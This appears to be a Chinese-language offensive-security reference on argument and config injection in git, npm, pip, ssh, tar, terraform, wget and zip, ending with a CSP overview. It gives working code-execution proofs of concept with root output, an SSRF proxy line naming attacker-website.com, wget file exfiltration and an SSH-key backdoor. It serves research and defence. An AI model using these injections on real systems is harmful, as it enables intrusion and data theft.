[filter..clean](https://git-scm.com/docs/git-config#Documentation/git-config.txt-filterltdrivergtclean) 用于在提交时将工作树文件的内容转换为 blob。

[filter..smudge](https://git-scm.com/docs/git-config#Documentation/git-config.txt-filterltdrivergtsmudge) 用于在检出时将 blob 对象的内容转换为工作树文件。

```bash
$ cd $(mktemp -d)
# 在 /tmp/tmp.hLncfRcxgC/.git/ 中初始化空的 Git 仓库
$ git init
# filter.&lt;driver&gt;.clean 和 filter.&lt;driver&gt;.smudge
# 以便在调用时向 STDERR 回显消息
$ echo $'[filter "any"]\n\tsmudge = echo \\"Pwned smudge as $(id)\\">&2\n\tclean = echo \\"Pwned clean as $(id)\\">&2' >> ./.git/config
# 将过滤器添加到 .gitattributes
$ touch example
$ git add ./example
$ git commit -m 'commit'
$ echo "*  text  filter=any" > .gitattributes
$ git status
Pwned clean as uid=0(root) gid=0(root) groups=0(root)
On branch master
Untracked files:
  (use "git add <file>..." to include in what will be committed)
	.gitattributes

nothing added to commit but untracked files present (use "git add" to track)

$ git add .gitattributes
Pwned clean as uid=0(root) gid=0(root) groups=0(root)
```

```bash
$ cd $(mktemp -d)
# 在 /tmp/tmp.hLncfRcxgC/.git/ 中初始化空的 Git 仓库
$ git init
# filter.&lt;driver&gt;.clean 和 filter.&lt;driver&gt;.smudge
# 以便在调用时向 STDERR 回显消息
$ echo $'[filter "any"]\n\tsmudge = echo \\"Pwned smudge as $(id)\\">&2\n\tclean = echo \\"Pwned clean as $(id)\\">&2' >> ./.git/config
# 将过滤器添加到 .gitattributes
$ echo "*  text  filter=any" > .gitattributes
$ git fetch
$ git checkout main
Pwned smudge as uid=0(root) gid=0(root) groups=0(root)
Pwned smudge as uid=0(root) gid=0(root) groups=0(root)
Branch 'main' set up to track remote branch 'main' from 'origin'.
Switched to a new branch 'main'
```

参考：

* [技术分析：GitHub Desktop < 2.9.4 中的 RCE](https://github.com/Metnew/write-ups/tree/main/rce-github-desktop-2.9.3)

**http.proxy 和 http.\<URL>.proxy**

`http.proxy` 或 `http.<URL>.proxy` 覆盖 HTTP 代理。您可以使用它来获得 SSRF：

```bash
$ git clone -c http.proxy=http://attacker-website.com -- "<REPO>" target_directory
$ git clone -c http.http://website.com/.proxy=http://attacker-website.com -- "<REPO>" target_directory
```

注意其他 `http.*` 配置和 `remote.<name>.proxy`，它们可以帮助增加影响。

参考：

* [报告：注入 `http.<url>.*` git 配置设置导致 SSRF](https://hackerone.com/reports/855276)
* [git-config 文档：http.proxy](https://git-scm.com/docs/git-config#Documentation/git-config.txt-httpproxy)
* [git-config 文档：remote..proxy](https://git-scm.com/docs/git-config#Documentation/git-config.txt-remoteltnamegtproxy)

#### 通过 .git/hooks/ 滥用

[.git/hooks/](https://git-scm.com/docs/githooks) 中的各种文件在[某些 git 操作时执行](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks)。例如：

* `pre-commit` 和 `post-commit` 分别在提交操作之前和之后执行
* `post-checkout` 在检出操作之后执行
* `pre-push` 在推送操作之前执行

在区分可执行文件和不可执行文件的文件系统上，只有当相应的文件是可执行的时才会执行钩子。此外，钩子只在给定的用户交互时执行，例如在执行提交时。

例如，您可以使用裸仓库来传递自定义 git 钩子并执行任意代码：

```bash
# 克隆或创建仓库
$ git clone "<REPO>" target_directory
$ cd target_directory
# 将子项目添加为裸仓库
$ mkdir subproject
$ cd subproject
$ git init --bare
# 添加恶意钩子
$ echo "#!/bin/sh" > hooks/post-checkout
$ echo "echo 'arbitrary code here'" >> hooks/post-checkout
# 提交并推送
```

如果易受攻击的代码对准备好的仓库执行以下 bash 命令，它将触发自定义钩子执行并导致任意代码被执行：

```bash
$ git clone -- "<REPO>" "target_directory"
$ cd "target_directory"
$ git checkout "subproject"
```

参考：

* [技术分析：4 个 Google Cloud Shell 漏洞解释 – 漏洞 #3](https://offensi.com/2019/12/16/4-google-cloud-shell-bugs-explained-bug-3/)
* [研究：Git 尊重嵌入的裸仓库，并且通过目录的 .git/config 中的 core.fsmonitor 的利用影响 IDE、shell 提示符和 Git 抢劫者](https://github.com/justinsteven/advisories/blob/main/2022_git_buried_bare_repos_and_fsmonitor_various_abuses.md)

#### 通过 .git/index 滥用

您可以使用精心制作的 `.git/index` 文件实现任意写入原语，查看[公告](https://drivertom.blogspot.com/2021/08/git.html)。

#### 通过 .git/HEAD 滥用

通过损坏 `.git/HEAD` 可以欺骗 Git 从意外位置加载配置。在这种情况下，Git 开始在当前文件夹中查找仓库，攻击者可以完全控制该文件夹，例如，如果当前文件夹是包含克隆的远程仓库所有文件的工作树。利用流程可能如下：

```bash
$ git clone https://github.com/remote/repo.git
$ cd repo
# 创建空文件夹以符合 Git 仓库的预期结构
$ mkdir objects refs worktree
# 创建非空的 HEAD 来伪造有效的引用
$ echo "ref: refs/heads/main" > HEAD
# 使用 core.fsmonitor 准备恶意的配置文件来执行 payload
$ echo "[core]" > config
$ echo "\trepositoryformatversion = 0" >> config
$ echo "\tbare = false" >> config
$ echo "\tworktree = worktree" >> config
$ echo $'\tfsmonitor = "echo \\"Pwned as $(id)\\">&2; false"' >> config
# 损坏 HEAD 文件
$ echo "" > .git/HEAD
# 利用
$ git status
Pwned as uid=501(user)
Pwned as uid=501(user)
On branch main

No commits yet

nothing to commit (create/copy files and use "git add" to track)
```

参考：

* [Sonar 博客：赋能弱原语：使用 Git 从文件截断到代码执行](https://www.sonarsource.com/blog/empowering-weak-primitives-file-truncation-to-code-execution-with-git)

### git-blame

{% embed url="<https://git-scm.com/docs/git-blame>" %}

#### --output

`git-blame` 具有 `--output` 选项，该选项在手册中没有记录，并且通常出现在其他 git 子命令中。执行 `git blame --output=foo` 导致有趣的行为：

```bash
$ git init
$ git blame --output=foo
usage: git blame [<options>] [<rev-opts>] [<rev>] [--] <file>

    <rev-opts> are documented in git-rev-list(1)

    --incremental         show blame entries as we find them, incrementally
    -b                    do not show object names of boundary commits (Default: off)
# ...

# 注意名为 foo 的新文件的存在
$ ls -la foo
-rw-r--r--    1 user  staff     0 Mar 18 20:18 foo
```

虽然命令失败了，但创建了一个名为 `foo` 的空文件。如果同名的文件已经存在，目标文件将被截断。此选项提供任意文件截断原语。例如，攻击者可以使用它来损坏 `.git` 文件夹中的关键文件，如 `.git/HEAD`，并欺骗 Git 从意外位置加载配置，查看 [通过 .git/HEAD 滥用](#abuse-via-.git-head) 部分。

参考：

* [Sonar 博客：赋能弱原语：使用 Git 从文件截断到代码执行](https://www.sonarsource.com/blog/empowering-weak-primitives-file-truncation-to-code-execution-with-git)

### git-clone

{% embed url="<https://git-scm.com/docs/git-clone>" %}

#### -c/--config

[-c/--config](https://git-scm.com/docs/git-clone#Documentation/git-clone.txt--cltkeygtltvaluegt) 在新创建的仓库中设置配置变量；这在仓库初始化后立即生效，但在获取远程历史记录或检出任何文件之前生效。查看 [通过 .git/config 滥用](#abuse-via-.git-config) 部分以找到可滥用的变量。

#### ext URL

`git-clone` 允许在 `ext` URL 中为远程仓库指定 shell 命令。例如，下一个示例将执行 `whoami` 命令来尝试连接到远程仓库：

```bash
$ git clone 'ext::sh -c whoami% >&2'
```

参考：

* [git-remote-ext 文档](https://git-scm.com/docs/git-remote-ext)

#### \<directory>

`git-clone` 允许指定一个新目录来克隆到。只有当目录为空时才允许克隆到现有目录中。您可以使用它来将仓库写入默认文件夹之外。

```bash
$ git clone -- "<REPO>" target_directory
```

#### -u/--upload-pack

[upload-pack](https://git-scm.com/docs/git-clone#Documentation/git-clone.txt--ultupload-packgt) 指定在通过 ssh 访问要克隆的仓库时在另一端运行的命令的非默认路径。您可以像这样执行任意代码：

```bash
$ mkdir repo
$ cd repo
$ git init
$ cd -
$ echo "#!/bin/bash" > payload.sh
$ echo "echo 'arbitrary payload here'" >> payload.sh
$ chmod +x payload.sh
$ git clone --upload-pack=payload.sh repo
```

参考：

* [技术分析：保护开发者工具 包管理器 - Bundler 和 Poetry 中的参数注入](https://blog.sonarsource.com/securing-developer-tools-package-managers)

### git-diff

{% embed url="<https://git-scm.com/docs/git-diff>" %}

#### git-diff 对 /dev/null

`git-diff` 对 `/dev/null` 可用于读取文件的整个内容，即使在 git 目录之外。

```bash
$ git diff /dev/null /path/fo/file/outside/git/repo
$ git diff /dev/null path/to/file/in/git/repo
```

参考：

* [GTFOArgs: git](https://gtfoargs.github.io/gtfoargs/git/)

#### --no-index

[--no-index](https://git-scm.com/docs/git-diff) 键可用于将 `git-diff` 变为对 git 仓库中另一个文件的正常 `diff`，该文件不必被跟踪。

```bash
$ git diff --no-index local-secret-file.conf git.md
```

参考：

* [GTFOArgs: git](https://gtfoargs.github.io/gtfoargs/git/)

### git-fetch

{% embed url="<https://git-scm.com/docs/git-fetch>" %}

#### --upload-pack

[--upload-pack](https://git-scm.com/docs/git-fetch#Documentation/git-fetch.txt---upload-packltupload-packgt) 标志可用于执行任意命令。输出不显示，但可以使用 `>&2` 将输出路由到 stderr。

```bash
$ mkdir repo
$ cd repo
$ git init
$ git fetch main --upload-pack='cmdname arg1 arg2 >&2 #'
```

参考：

* [GTFOArgs: git](https://gtfoargs.github.io/gtfoargs/git/)

### git-fetch-pack

{% embed url="<https://git-scm.com/docs/git-fetch-pack>" %}

#### --exec

与 `--upload-pack` 相同。查看下面的部分。

#### --upload-pack

[--upload-pack](https://git-scm.com/docs/git-fetch-pack#Documentation/git-fetch-pack.txt---upload-packltgit-upload-packgt) 标志可用于执行任意命令。输出不显示，但可以使用 `>&2` 将输出路由到 stderr。

```bash
$ mkdir repo
$ cd repo
$ git init
$ git fetch-pack --upload-pack='cmdname arg1 arg2 >&2 #' .
```

### git-grep

{% embed url="<https://git-scm.com/docs/git-grep>" %}

#### --no-index

`no-index` 告诉 git-grep 搜索当前目录中不被 Git 管理的文件。换句话说，如果工作目录与仓库目录不同，`no-index` 允许您访问工作目录中的文件。

参考：

* [报告：Git 标志注入 - 带有 'blobs' 范围的搜索 API](https://hackerone.com/reports/682442)

#### -O/--open-files-in-pager

[-O/--open-files-in-pager](https://git-scm.com/docs/git-grep#Documentation/git-grep.txt--Oltpagergt) 在 `pager` 中打开匹配的文件。它可以用于运行任意命令：

```bash
$ mkdir repo
$ cd repo
$ git init
$ echo "random" > hop
$ git add .
$ git grep --open-files-in-pager='cmdname arg1 arg2 #' .
```

参考：

* [GTFOArgs: git](https://gtfoargs.github.io/gtfoargs/git/)

### git-log

{% embed url="<https://git-scm.com/docs/git-log>" %}

#### --output

`output` 定义一个特定的输出文件而不是 stdout。您可以使用它来重写任意文件。

```bash
$ git log --output=/tmp/arbitrary_file
$ cat /tmp/arbitrary_file
commit c79538fb19b1d9d21bf26e9ad30fdeb90be1eaf0
Author: User <user@local>
Date:   Fri Aug 29 00:00:00 2021 +0000

    Controlled content
```

参考：

* [报告：Git 标志注入 - 本地文件覆盖到远程代码执行](https://hackerone.com/reports/658013)
* [报告：Git 标志注入导致文件覆盖和潜在的远程代码执行](https://hackerone.com/reports/653125)

### git-ls-remote

{% embed url="<https://git-scm.com/docs/git-ls-remote>" %}

#### --upload-pack

[--upload-pack](https://git-scm.com/docs/git-ls-remote#Documentation/git-ls-remote.txt---upload-packltexecgt) 标志可用于执行任意命令。输出不显示，但可以使用 `>&2` 将输出路由到 stderr。

```bash
$ mkdir repo
$ cd repo
$ git init
$ git ls-remote --upload-pack='cmdname arg1 arg2 >&2 #' main
```

参考：

* [GTFOArgs: git](https://gtfoargs.github.io/gtfoargs/git/)

### git-pull

{% embed url="<https://git-scm.com/docs/git-pull>" %}

#### --upload-pack

[--upload-pack](https://git-scm.com/docs/git-pull#Documentation/git-pull.txt---upload-packltupload-packgt) 标志可用于执行任意命令。输出不显示，但可以使用 `>&2` 将输出路由到 stderr。

```bash
$ mkdir repo
$ cd repo
$ git init
$ git pull main --upload-pack='cmdname arg1 arg2 >&2 #'
```

参考：

* [GTFOArgs: git](https://gtfoargs.github.io/gtfoargs/git/)

### git-push

{% embed url="<https://git-scm.com/docs/git-push>" %}

#### --receive-pack/--exec

[receive-pack or exec](https://git-scm.com/docs/git-push#Documentation/git-push.txt---receive-packltgit-receive-packgt) 指定远程端 [git-receive-pack](https://git-scm.com/docs/git-receive-pack) 程序的路径。您可以像这样执行任意代码：

```bash
$ echo "#!/bin/bash" > payload.sh
$ echo "echo 'arbitrary payload here'" >> payload.sh
$ chmod +x payload.sh
$ git push --receive-pack=payload.sh username/repo main
# 或
$ git push --exec=payload.sh username/repo main
# 或
$ git push --receive-pack=payload.sh main
```

## maven

在 `mvn <PHASE>` 执行期间执行任意命令或代码是可能的，通过使用各种插件，如 [exec-maven-plugin](https://www.mojohaus.org/exec-maven-plugin/) 或 [groovy-maven-plugin](https://groovy.github.io/gmaven/groovy-maven-plugin/index.html)。为了在阶段 `<PHASE>` 期间使用 `groovy-maven-plugin` 插件执行恶意 payload，您可以使用以下配置：

```xml
<plugin>
  <groupId>org.codehaus.gmaven</groupId>
  <artifactId>groovy-maven-plugin</artifactId>
  <executions>
    <execution>
      <phase><!-- PHASE_HERE --></phase>
      <goals>
        <goal>execute</goal>
      </goals>
      <configuration>
        <source>
          print "cmdname arg1 arg2".execute().text
        </source>
      </configuration>
    </execution>
  </executions>
</plugin>
```

例如，您可以使用以下 `pom.xml` 文件在 `mvn initialize` 或 `mvn compile` 期间执行插件：

```xml
<?xml version="1.0" encoding="UTF-8"?>
<project>
  <modelVersion>4.0.0</modelVersion>
 
  <groupId>com.mycompany.app</groupId>
  <artifactId>my-app</artifactId>
  <version>1</version>
  
  <build>
    <plugins>
        <plugin>
          <groupId>org.codehaus.gmaven</groupId>
          <artifactId>groovy-maven-plugin</artifactId>
            <executions>
              <execution>
                <phase>initialize</phase>
                <goals>
                  <goal>execute</goal>
                </goals>
                <configuration>
                  <source>
                    print "cmdname arg1 arg2".execute().text
                  </source>
                </configuration>
              </execution>
          </executions>
        </plugin>
     </plugins>   
  </build>
</project>
```

参考：

* [Apache Maven 项目：构建生命周期介绍](https://maven.apache.org/guides/introduction/introduction-to-the-lifecycle.html)

## npm scripts

`package.json` 文件的 [scripts](https://docs.npmjs.com/cli/v7/using-npm/scripts) 属性支持许多内置脚本及其预设生命周期事件以及任意脚本。所有这些都可以使用 [npm run-script 或简写 npm run](https://docs.npmjs.com/cli/v7/commands/npm-run-script) 执行。

{% hint style="info" %}
依赖项的脚本可以使用 `npm explore <pkg> -- npm run <stage>` 运行
{% endhint %}

具有匹配名称的 pre 和 post 命令也将为这些运行（例如 `premyscript`、`myscript`、`postmyscript`）。要为 `package.json` 的 `scripts` 部分中定义的任何脚本创建 pre 或 post 脚本，只需创建另一个具有匹配名称的脚本并在其开头添加 `pre` 或 `post`。

在以下示例中，`npm run compress` 将按描述执行这些脚本。

```json
{
  "scripts": {
    "precompress": "{{ 在 `compress` 脚本之前执行 }}",
    "compress": "{{ 运行命令来压缩文件 }}",
    "postcompress": "{{ 在 `compress` 脚本之后执行 }}"
  }
}
```

有一些特殊的生命周期脚本只在某些情况下发生。除了 `pre<event>`、`post<event>` 和 `<event>` 脚本之外，这些脚本也会发生。

* `prepare`（自 npm\@4.0.0 起）
  * 在打包之前的任何时候运行，即在 `npm publish` 和 `npm pack` 期间
  * 在包打包之前运行
  * 在包发布之前运行
  * 在没有参数的本地 `npm install` 上运行
  * 在 `prepublish` 之后运行，但在 `prepublishOnly` 之前运行
  * 注意：如果通过 git 安装的包包含 `prepare` 脚本，其 `dependencies` 和 `devDependencies` 将被安装，并且 prepare 脚本将在包打包和安装之前运行
  * 从 `npm@7` 开始，这些脚本在后台运行。要查看输出，请运行：`--foreground-scripts`
* `prepublish`（[已弃用](https://docs.npmjs.com/cli/v7/using-npm/scripts#prepare-and-prepublish)）
  * 在 `npm publish` 期间不运行，但在 `npm ci` 和 `npm install` 期间运行
* `prepublishOnly`
  * 在包准备和打包之前运行，仅在 `npm publish` 上运行
* `prepack`
  * 在打包 tarball 之前运行（在 `npm pack`、`npm publish` 和安装 git 依赖项时）
  * 注意：`npm run pack` 与 `npm pack` 不同。`npm run pack` 是任意的用户定义脚本名称，而 `npm pack` 是 CLI 定义的命令
* `postpack`
  * 在生成 tarball 之后但在将其移动到最终目的地之前运行（如果有的话，发布不会在本地保存 tarball）

### npm cache add

[npm cache add](https://docs.npmjs.com/cli/v7/commands/npm-cache) 运行以下生命周期脚本：

* `prepare`

### npm ci

[npm ci](https://docs.npmjs.com/cli/v7/commands/npm-ci) 运行以下生命周期脚本：

* `preinstall`
* `install`
* `postinstall`
* `prepublish`
* `preprepare`
* `prepare`
* `postprepare`

这些都在实际将模块安装到 `node_modules` 之后运行，按顺序，中间没有内部操作。

### npm diff

[npm diff](https://docs.npmjs.com/cli/v7/commands/npm-diff) 运行以下生命周期脚本：

* `prepare`

### npm install

[npm install](https://docs.npmjs.com/cli/v7/commands/npm-install) 运行以下生命周期脚本（当您运行 `npm install -g <pkg-name>` 时也会运行）：

* `preinstall`
* `install`
* `postinstall`
* `prepublish`
* `preprepare`
* `prepare`
* `postprepare`

如果在包的根目录中有 `binding.gyp` 文件并且未定义 install 或 preinstall 脚本，`npm` 将默认 `install` 命令使用 [node-gyp](https://www.npmjs.com/package/node-gyp) 通过 `node-gyp rebuild` 进行编译。

### npm pack

[npm pack](https://docs.npmjs.com/cli/v7/commands/npm-pack) 运行以下生命周期脚本：

* `prepack`
* `prepare`
* `postpack`

### npm publish

[npm publish](https://docs.npmjs.com/cli/v7/commands/npm-publish) 运行以下生命周期脚本：

* `prepublishOnly`
* `prepack`
* `prepare`
* `postpack`
* `publish`
* `postpublish`

`prepare` 在 `--dry-run` 期间不会运行

### npm rebuild

[npm rebuild](https://docs.npmjs.com/cli/v7/commands/npm-rebuild) 运行以下生命周期脚本：

* `preinstall`
* `install`
* `postinstall`
* `prepare`

`prepare` 只有在当前目录是符号链接时才会运行（例如，使用链接的包）

### npm restart

[npm restart](https://docs.npmjs.com/cli/v7/commands/npm-restart) 运行 restart 脚本（如果已定义），否则如果存在 stop 和 start 都会运行（包括它们的 pre 和 post 迭代）：

* `prerestart`
* `restart`
* `postrestart`

### npm start

[npm start](https://docs.npmjs.com/cli/v7/commands/npm-start) 运行以下生命周期脚本：

* `prestart`
* `start`
* `poststart`

如果在包的根目录中有 `server.js` 文件，那么 `npm` 将默认 start 命令为 node `server.js`。在这种情况下，`prestart` 和 `poststart` 仍会运行。

### npm stop

[npm stop](https://docs.npmjs.com/cli/v7/commands/npm-stop) 运行以下生命周期脚本：

* `prestop`
* `stop`
* `poststop`

### npm test

[npm test](https://docs.npmjs.com/cli/v7/commands/npm-test) 运行以下生命周期脚本：

* `pretest`
* `test`
* `posttest`

## pip

### pip install

扩展 `setuptools` 模块允许您挂钩几乎任何 `pip` 命令。例如，您可以使用 `setup.py` 文件中的 `install` 类在 `pip install` 运行期间执行任意代码。

```python
from setuptools import setup
from setuptools.command.install import install

class PostInstallCommand(install):
    def run(self):
        # 在此处插入代码
        install.run(self)

setup(
    ...
    cmdclass={
        'install': PostInstallCommand,
    },
    ...
)
```

当运行 `pip install` 时，将调用 `PostInstallCommand.run` 方法。

参考：

* [0wned - 通过 Python 包安装进行代码执行](https://github.com/mschwager/0wned)

## ssh

### authorized\_keys 和 id\_\*.pub

OpenSSH 支持 [command](https://man.openbsd.org/OpenBSD-current/man8/sshd.8#AUTHORIZED_KEYS_FILE_FORMAT) 选项，该选项指定每当密钥用于身份验证时执行的命令。

```
command="cmdname arg1 arg2" ssh-ed25519 AAAAC3Nzblah....
```

参考：

* [The Hacker's Choice 博客：用后门感染 SSH 公钥](https://blog.thc.org/infecting-ssh-public-keys-with-backdoors)

### ssh\_config

`ssh` 从以下来源按以下顺序获取配置数据：

1. 命令行
2. 用户的配置文件 `~/.ssh/config`
3. 系统范围的配置文件 `/etc/ssh/ssh_config`

#### LocalCommand

[LocalCommand](https://linux.die.net/man/5/ssh_config) 指定在成功连接到服务器后在本地机器上执行的命令。以下 `ssh_config` 可用于执行任意命令：

```
Host *
  PermitLocalCommand yes
  LocalCommand cmdname arg1 arg2
```

参考：

* [#BrokenSesame：对私有注册表的意外 'write' 权限允许对阿里云数据库服务进行潜在的 RCE](https://www.wiz.io/blog/brokensesame-accidental-write-permissions-to-private-registry-allowed-potential-r)

## ssh-keygen

### -D

[ssh-keygen](https://man7.org/linux/man-pages/man1/ssh-keygen.1.html) 可以使用 `-D` 键加载共享库，导致任意命令执行：

```bash
$ ssh-keygen -D lib.so
```

参考：

* [Sean Pesce 的博客：利用 ssh-keygen 进行任意执行（和权限提升）](https://seanpesce.blogspot.com/2023/03/leveraging-ssh-keygen-for-arbitrary.html)
* [GTFOArgs: ssh-keygen](https://gtfoargs.github.io/gtfoargs/ssh-keygen/)

## tar

### 检查点

[检查点](https://www.gnu.org/software/tar/manual/html_section/checkpoints.html) 是在将第 n 个记录写入存档（写入检查点）之前，或从存档中读取第 n 个记录之前（读取检查点）的时间点。[检查点](https://www.gnu.org/software/tar/manual/html_section/checkpoints.html) 允许定期执行任意操作。

```bash
$ tar cf archieve.tar --checkpoint=1 --checkpoint-action="exec=echo 'arbitrary payload here'" foo 
```

### --to-command

当使用 [--to-command](https://www.gnu.org/software/tar/manual/html_section/extract-options.html#index-to_002dcommand) 键时，`tar` 调用命令并将文件的内容通过管道传输到其标准输出，而不是创建指定的文件。因此它可以用于执行任意命令。

```bash
# 需要有效的存档文件
$ tar xf file.tar --to-command='cmdname arg1 arg2'
```

参考：

* [GTFOArgs: tar](https://gtfoargs.github.io/gtfoargs/tar/)

### -I/--use-compress-program

[-I/--use-compress-program](https://www.gnu.org/software/tar/manual/html_section/Compression.html#index-use_002dcompress_002dprogram) 用于指定可以滥用来执行任意命令的外部压缩程序命令：

```bash
# 不需要有效的存档
$ tar xf /dev/null --use-compress-program='cmdname arg1 arg2'
```

参考：

* [GTFOArgs: tar](https://gtfoargs.github.io/gtfoargs/tar/)

## terraform

### terraform-plan

Terraform 依赖于称为["提供者"](https://www.terraform.io/docs/language/providers/configuration.html)的插件来与远程系统交互。Terraform 配置必须声明它们需要哪些提供者，以便 Terraform 可以安装和使用它们。

您可以编写[自定义提供者](https://learn.hashicorp.com/tutorials/terraform/provider-setup)，将其发布到 [Terraform Registry](https://registry.terraform.io/) 并将提供者添加到 Terraform 代码中。

```tf
terraform {
  required_providers {
    evil = {
      source  = "evil/evil"
      version = "1.0"
    }
  }
}

provider "evil" {}
```

```bash
$ terraform init
$ terraform plan
```

提供者将在 `terraform init` 期间被拉入，当运行 `terraform plan` 时，任意的 ruby 代码将被执行。

此外，Terraform 提供 [external provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs)，它提供了在 Terraform 和外部程序之间接口的方式。因此，您可以使用 `external` 数据源来运行任意代码。来自[文档](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source)的以下示例在 `terraform plan` 期间执行 python 脚本。

```tf
data "external" "example" {
  program = ["python", "${path.module}/example-data-source.py"]

  query = {
    # 从字符串到字符串的任意映射，传递
    # 到外部程序作为数据查询。
    id = "abc123"
  }
}
```

参考：

* [Terraform Plan "RCE"](https://alex.kaskaso.li/post/terraform-plan-rce)
* [Terraform 作为软件供应链的一部分，第 1 部分 - 模块和提供者](https://about.gitlab.com/blog/2022/06/01/terraform-as-part-of-software-supply-chain-part1-modules-and-providers/)
* [Terraform 文档：命令：plan](https://www.terraform.io/docs/cli/commands/plan.html)
* [Terraform 文档：提供者配置](https://www.terraform.io/docs/language/providers/configuration.html)
* [Terraform 文档：模块提供者 Meta-Argument](https://www.terraform.io/docs/language/meta-arguments/module-providers.html)

## wget

### --use-askpass

[--use-askpass](https://www.gnu.org/software/wget/manual/wget.html) 指定提示用户和密码的命令。此键可用于执行任意命令，而无需任何参数和 stdout/stderr。

如果未指定命令，则使用环境变量 `WGET_ASKPASS` 中的命令。如果 `WGET_ASKPASS` 未设置，则使用环境变量 `SSH_ASKPASS` 中的命令。此外，可以在 `.wgetrc` 中设置 `use-askpass` 的默认命令。

```bash
$ wget --use-askpass=cmdname http://0/
```

参考：

* [GTFOArgs: wget](https://gtfoargs.github.io/gtfoargs/wget/)

### --post-file

[--post-file](https://www.gnu.org/software/wget/manual/wget.html) 可用于在 POST 请求中泄露文件。

```bash
# 将本地文件发送到远程服务器
# 文件按原样发送
$ wget --post-file=/path/to/file https://website.com/
```

参考：

* [GTFOArgs: wget](https://gtfoargs.github.io/gtfoargs/wget/)

### -O/--output-document

[-o/--output-document](https://www.gnu.org/software/wget/manual/wget.html) 可用于通过 GET 请求下载远程文件并将其保存到特定位置。

```bash
$ wget --output-document=/path/to/file https://website.com/file.txt
# 将文件打印到标准输出
$ wget --output-document="-" https://website.com/file.txt
```

参考：

* [GTFOArgs: wget](https://gtfoargs.github.io/gtfoargs/wget/)

### -o/--output-file

[-o/--output-file](https://www.gnu.org/software/wget/manual/wget.html) 指定一个日志文件，用于记录通常报告到标准错误的所有消息。它可以用于将输出写入文件。

```bash
# 读取本地文件并将输出写入另一个本地文件
# 只显示非二进制文件，输出是错误日志
$ wget --input-file=/path/to/file --output-file=/path/to/another/file
```

参考：

* [GTFOArgs: wget](https://gtfoargs.github.io/gtfoargs/wget/)

### -i/--input-file

[-i/--input-file](https://www.gnu.org/software/wget/manual/wget.html) 从本地或外部文件读取 URL。此键可用于在错误消息中暴露文件内容：

```bash
# 文件内容将显示为错误消息
$ wget --input-file=/path/to/file http://0/
```

参考：

* [GTFOArgs: wget](https://gtfoargs.github.io/gtfoargs/wget/)

## zip

### -TT/--unzip-command

[-TT/--unzip-command](https://linux.die.net/man/1/zip) 用于指定在使用 `-T` 选项时测试存档的命令。

```bash
$ zip archieve.zip /path/to/file -T --unzip-command="cmdname arg1 arg2 #"
```

参考：

* [GTFOArgs: zip](https://gtfoargs.github.io/gtfoargs/zip/)


# 内容安全策略

## 内容安全策略（CSP）概述

内容安全策略是一种机制，用于定义网页可以获取或执行哪些资源。它列出了浏览器可以安全加载资源的路径和来源。资源可能包括图像、框架、JavaScript等。

内容安全策略通过响应头实现：

```http
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
```

或HTML页面的 `meta` 元素：

```html
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
```

浏览器遵循接收到的策略，并在检测到违规时主动阻止。

### 它是如何工作的？

CSP通过限制主动和被动内容可以加载的来源来工作。它还可以限制主动内容的某些方面，例如内联JavaScript的执行和 `eval()` 的使用。

#### 指令

资源加载策略使用指令设置：

* **script-src** 指定JavaScript的允许来源。这不仅包括直接加载到 `<script>` 元素中的URL，还包括内联脚本事件处理程序（如 `onclick`）和可能触发脚本执行的XSLT样式表等。
* **default-src** 定义默认情况下获取资源的策略。当CSP头中缺少获取指令时，浏览器默认遵循此指令。不遵循 `default-src` 的指令列表：
  * `base-uri`
  * `form-action`
  * `frame-ancestors`
  * `plugin-types`
  * `report-uri`
  * `sandbox`
* **child-src** 定义使用 `<frame>` 和 `<iframe>` 等元素加载的[Web workers](https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API)和嵌套浏览上下文的有效来源。
* **connect-src** 限制使用 `<a>`、`fetch`、`websocket`、`XMLHttpRequest` 等接口加载的URL。
* **frame-src** 指定使用 `<frame>` 和 `<iframe>` 等元素加载的嵌套浏览上下文的有效来源。
* **frame-ancestors** 指定可以嵌入当前页面的来源。此指令适用于 `<frame>`、`<iframe>`、`object>`、`<embed>` 和 `<applet>` 标签。此指令不能在 `<meta>` 标签中使用，并且仅适用于非HTML资源。
* **img-src** 定义网页上加载图像的允许来源。
* **manifest-src** 定义应用程序[manifest](https://developer.mozilla.org/en-US/docs/Web/Manifest)文件的允许来源。
* **media-src** 定义可以从中加载媒体对象（如 `<audio>`、`<video>` 和 `<track>`）的允许来源。
* **object-src** 定义 `<object>`、`<embed>` 和 `<applet>` 元素的允许来源。
* **base-uri** 定义可以使用 `<base>` 元素加载的允许URL。
* **form-action** 列出 `<form>` 标签提交的有效端点。`form-action` 是否应该在表单提交后阻止重定向是有争议的，浏览器在这方面的实现不一致（例如Firefox 57不阻止重定向，而Chrome 63阻止）。
* **plugin-types** 通过限制可以加载的资源类型来限制可以嵌入到文档中的插件集。如果满足以下条件，`<embed>`、`<object>` 或 `<applet>` 元素的实例化将失败：
  * 要加载的元素未声明有效的MIME类型
  * 声明的类型与plugin-types指令中指定的任何类型不匹配
  * 获取的资源与声明的类型不匹配
* **upgrade-insecure-requests** 指示浏览器重写URL方案，将HTTP更改为HTTPS。对于需要重写大量旧URL的网站，此指令很有用。
* **sandbox** 为请求的资源启用沙盒，类似于 `<iframe>` 沙盒属性。它对页面的操作施加限制，包括阻止弹出窗口、阻止插件和脚本的执行，以及强制执行同源策略。

请参阅 [mdn web docs: Content-Security-Policy - Directives](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy#directives) 获取完整的指令列表。

#### 来源值

来源用于定义指令的值：

* **\*** 允许任何URL，除了 `data:`、`blob:` 和 `filesystem:`。
* **\<host-source>** 通过名称或IP地址的Internet主机。URL方案、端口号和路径是可选的。通配符 `*` 可用于子域、主机地址和端口号，表示每个的所有合法值都有效。
* **\<scheme-source>** 方案如 `http:` 或 `https:`（冒号是必需的）。也可以指定数据方案：
  * `data:` 允许使用 `data:` URL作为内容来源。
  * `mediastream:` 允许使用 `mediastream:` URI作为内容来源。
  * `blob:` 允许使用 `blob:` URI作为内容来源。
  * `filesystem:` 允许使用 `filesystem:` URI作为内容来源。
* **self** 指向提供受保护文档的来源，包括相同的URL方案和端口号。
* **unsafe-eval** 允许使用 `eval()` 和其他不安全的方法从字符串创建代码。
* **unsafe-hashes** 允许启用特定的内联事件处理程序。
